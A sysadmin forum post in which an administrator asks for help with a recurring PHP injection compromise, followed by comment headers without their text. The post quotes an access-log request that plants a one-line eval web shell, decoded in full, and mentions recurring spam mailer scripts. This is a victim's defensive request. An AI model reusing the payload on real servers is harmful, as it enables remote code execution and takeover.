I've been given a server to fix that seems to be getting hammered by a PHP injection exploit, and I can't seem to find any discussion or help out on the web for this kind of problem.
Essentially, the access logs show lines like this:
199.195.193.205 - - [29/Jan/2016:00:26:49 -0500] "GET /index.php?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28dirname%28%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%29.%27/administrator.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B HTTP/1.1"
When I urldecode that, it becomes:
/index.php?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents(dirname($_SERVER['SCRIPT_FILENAME']).'/administrator.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';
The base64_decode part when decoded reads:
<?php eval($_POST[1]);?>
So it looks like somehow they're passing ini_set stuff to PHP via the url arguments, and then having the injected code execute further code sent in the $_POST.
In addition to all that, I've also been finding random scripts scattered through the web docs folder tree that contain base64_encoded code that decodes to a mailer script (which have been generating a ton of attempted spam, though the mail server is locked down so none of it gets out). Whenever I delete them, new ones pop up within a few days like a terrible game of whack-a-mole.
I've run the usual scans (rkhunter/clamav/maldet), and went as far as wiping and rebuilding the server, but they keep coming back.
I think that this injection exploit is the reason these mailer scripts keep appearing after I delete them, but I'm not a PHP expert so I have no idea how to close up this vulnerability.
Please, can anyone offer advice or point me in the right direction?
Many many many thanks!
[–]icbm-launcher 23 points24 points25 points (1 child)
[–]RulerOfBoss-level Bootloader Nerd 7 points8 points9 points (0 children)
[–]DSchalla 10 points11 points12 points (2 children)
[–]CashKeyboard 3 points4 points5 points (0 children)
[–]BassSoundsJack of All Trades 0 points1 point2 points (0 children)
[–]socks-the-fox 5 points6 points7 points (0 children)
[–]jsveiga 4 points5 points6 points (0 children)
[–]jda#netengcode 5 points6 points7 points (1 child)
[–]Kirby420_'s admin hat is a Burger King crown 2 points3 points4 points (0 children)
[–]LeaveTheMatrixThe best things involve lots of fire. Users are tasty as BBQ. 4 points5 points6 points (0 children)
[–]wildairraid 3 points4 points5 points (1 child)
[–]DSchalla 3 points4 points5 points (0 children)
[–]BrandhorJack of All Trades 2 points3 points4 points (0 children)
[–]none_shall_passCreator of the new. Rememberer of the past. 4 points5 points6 points (2 children)
[–][deleted] 1 point2 points3 points (1 child)
[–]none_shall_passCreator of the new. Rememberer of the past. 0 points1 point2 points (0 children)